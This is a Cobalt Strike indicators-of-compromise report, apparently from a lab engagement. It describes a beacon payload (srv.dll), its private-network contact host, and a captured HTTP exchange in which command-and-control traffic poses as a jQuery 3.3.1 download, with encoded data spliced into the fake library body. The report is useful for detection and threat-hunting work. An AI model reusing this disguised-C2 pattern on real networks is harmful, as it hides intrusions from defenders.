**Indicators of Compromise**

*2019-2-23*

This report documents Indicators of Compromise generated by Cobalt Strike during this engagement.

**Summary**

|  |  |
| --- | --- |
| **Hashes:** | 0 |
| **Domains:** | 1 |
| **Payloads:** | 1 |

**jQuery Profile**

This payload was observed in conjunction with this actor's activities.

**Portable Executable Information**

|  |  |
| --- | --- |
| **Checksum:** | 0 |
| **Compilation Timestamp:** | 13 十一月 2016 06:07:23 |
| **Entry Point:** | 650688 |
| **Name:** | srv.dll |
| **Size:** | 4mb (4661248 bytes) |
| **Target Machine:** | x86 |

This payload resides in memory pages with RWX permissions. These memory pages are not backed by a file on disk.

**Contacted Hosts**

| **Host** | **Port** | **Protocols** |
| --- | --- | --- |
| 10.211.55.5 | 9999 | HTTP |
| 10.211.55.5 | 443 | HTTPS |

**HTTP Traffic**

GET /jquery-3.3.1.min.js HTTP/1.1  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,\*/\*;q=0.8  
Host: cdn.bootcss.com  
Referer: http://cdn.bootcss.com/  
Accept-Encoding: gzip, deflate  
Cookie: \_\_cfduid=DnBzE4-dH1JjJX9CBXrShQ  
User-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko  
  
HTTP/1.1 200 OK  
Server: NetDNA-cache/2.2  
Cache-Control: max-age=0, no-cache  
Pragma: no-cache  
Connection: keep-alive  
Content-Type: application/javascript; charset=utf-8  
Content-Length: 5628  
  
/\*! jQuery v3.3.1 | (c) JS Foundation and other contributors | jquery.org/license \*/!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(e,t){"use strict";var n=[],r=e.document,i=Object.getPrototypeOf,o=n.slice,a=n.concat,s=n.push,u=n.indexOf,l={},c=l.toString,f=l.hasOwnProperty,p=f.toString,d=p.call(Object),h={},g=function e(t){return"function"==typeof t&&"number"!=typeof t.nodeType},y=function e(t){return null!=t&&t===t.window},v={type:!0,src:!0,noModule:!0};function m(e,t,n){var i,o=(t=t||r).createElement("script");if(o.text=e,n)for(i in v)n[i]&&(o[i]=n[i]);t.head.appendChild(o).parentNode.removeChild(o)}function x(e){return null==e?e+"":"object"==typeof e||"function"==typeof e?l[c.call(e)]||"object":typeof e}var b="3.3.1",w=function(e,t){return new w.fn.init(e,t)},T=/^[\s\uFEFF\xA0]+|[\s\uFEFF\xA0]+$/g;w.fn=w.prototype={jquery:"3.3.1",constructor:w,length:0,toArray:function(){return o.call(this)},get:function(e){return null==e?o.call(this):e<0?this[e+this.length]:this[e]},pushStack:function(e){var t=w.merge(this.constructor(),e);return t.prevObject=this,t},each:function(e){return w.each(this,e)},map:function(e){return this.pushStack(w.map(this,function(t,n){return e.call(t,n,t)}))},slice:function(){return this.pushStack(o.apply(this,arguments))},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},eq:function(e){var t=this.length,n=+e+(e<0?t:0);return this.pushStack(n>=0&&n<t?[this[n]]:[])},end:function(){return this.prevObject||this.constructor()},push:s,sort:n.sort,splice:n.splice},w.extend=w.fn.extend=function(){var e,t,n,r,i,o,a=arguments[0]||{},s=1,u=arguments.length,l=!1;for("boolean"==typeof a&&(l=a,a=arguments[s]||{},s++),"object"==typeof a||g(a)||(a={}),s===u&&(a=this,s--);s<u;s++)if(null!=(e=arguments[s]))for(t in e)n=a[t],a!==(r=e[t])&&(l&&r&&(w.isPlainObject(r)||(i=Array.isArray(r)))?(i?(i=!1,o=n&&Array.isArray(n)?n:[]):o=n&&w.isPlainObject(n)?n:{},a[t]=w.extend(l,o,r)):void 0!==r&&(a[t]=r));return a},w.extend({expando:"jQuery"+("3.3.1"+Math.random()).replace(/\D/g,""),isReady:!0,error:function(e){throw new Error(e)},noop:function(){},isPlainObject:function(e){var t,n;return!(!e||"[object Object]"!==c.call(e))&&(!(t=i(e))||"function"==typeof(n=f.call(t,"constructor")&&t.constructor)&&p.call(n)===d)},isEmptyObject:function(e){var t;for(t in e)return!1;return!0},globalEval:function(e){m(e)},each:function(e,t){var n,r=0;if(C(e)){for(n=e.length;r<n;r++)if(!1===t.call(e[r],r,e[r]))break}else for(r in e)if(!1===t.call(e[r],r,e[r]))break;return e},trim:function(e){return null==e?"":(e+"").replace(T,"")},makeArray:function(e,t){var n=t||[];return null!=e&&(C(Object(e))?w.merge(n,"string"==typeof e?[e]:e):s.call(n,e)),n},inArray:function(e,t,n){return null==t?-1:u.call(t,e,n)},merge:function(e,t){for(var n=+t.length,r=0,i=e.length;r<n;r++)e[i++]=t[r];return e.length=i,e},grep:function(e,t,n){for(var r,i=[],o=0,a=e.length,s=!n;o<a;o++)(r=!t(e[o],o))!==s&&i.push(e[o]);return i},map:function(e,t,n){var r,i,o=0,s=[];if(C(e))for(r=e.length;o<r;o++)null!=(i=t(e[o],o,n))&&s.push(i);else for(o in e)null!=(i=t(e[o],o,n))&&s.push(i);return a.apply([],s)},guid:1,support:h}),"function"==typeof Symbol&&(w.fn[Symbol.iterator]=n[Symbol.iterator]),w.each("Boolean Number String Function Array Date RegExp Object Error Symbol".split(" "),function(e,t){l["[object "+t+"]"]=t.toLowerCase()});function C(e){var t=!!e&&"length"in e&&e.length,n=x(e);return!g(e)&&!y(e)&&("array"===n||0===t||"number"==typeof t&&t>0&&t-1 in e)}var E=function(e){var t,n,r,i,o,a,s,u,l,c,f,p,d,h,g,y,v,m,x,b="sizzle"+1\*new Date,w=e.document,T=0,C=0,E=ae(),k=ae(),S=ae(),D=function(e,t){return e===t&&(f=!0),0},N={}.hasOwnProperty,A=[],j=A.pop,q=A.push,L=A.push,H=A.slice,O=function(e,t){for(var n=0,r=e.length;n<r;n++)if(e[n]===t)return n;return-1},P=".TttVMMeY5hR9qcnBQTsskP3rMrs0S0BqhyOcw2Zi4YiF2xZz922SV0lS68CQR4BWiuZDrTMou4ilm2W5J51p9OxgU\_k".(o=t.documentElement,Math.max(t.body["scroll"+e],o["scroll"+e],t.body["offset"+e],o["offset"+e],o["client"+e])):void 0===i?w.css(t,n,s):w.style(t,n,i,s)},t,a?i:void 0,a)}})}),w.each("blur focus focusin focusout resize scroll click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave change select submit keydown keypress keyup contextmenu".split(" "),function(e,t){w.fn[t]=function(e,n){return arguments.length>0?this.on(t,null,e,n):this.trigger(t)}}),w.fn.extend({hover:function(e,t){return this.mouseenter(e).mouseleave(t||e)}}),w.fn.extend({bind:function(e,t,n){return this.on(e,null,t,n)},unbind:function(e,t){return this.off(e,null,t)},delegate:function(e,t,n,r){return this.on(t,e,n,r)},undelegate:function(e,t,n){return 1===arguments.length?this.off(e,"\*\*"):this.off(t,e||"\*\*",n)}}),w.proxy=function(e,t){var n,r,i;if("string"==typeof t&&(n=e[t],t=e,e=n),g(e))return r=o.call(arguments,2),i=function(){return e.apply(t||this,r.concat(o.call(arguments)))},i.guid=e.guid=e.guid||w.guid++,i},w.holdReady=function(e){e?w.readyWait++:w.ready(!0)},w.isArray=Array.isArray,w.parseJSON=JSON.parse,w.nodeName=N,w.isFunction=g,w.isWindow=y,w.camelCase=G,w.type=x,w.now=Date.now,w.isNumeric=function(e){var t=w.type(e);return("number"===t||"string"===t)&&!isNaN(e-parseFloat(e))},"function"==typeof define&&define.amd&&define("jquery",[],function(){return w});var Jt=e.jQuery,Kt=e.$;return w.noConflict=function(t){return e.$===w&&(e.$=Kt),t&&e.jQuery===w&&(e.jQuery=Jt),w},t||(e.jQuery=e.$=w),w});

**Extracted Strings**

jQuery

**Domains and IP Addresses**

The following domains and IP addresses were attributed to this actor.

10.211.55.5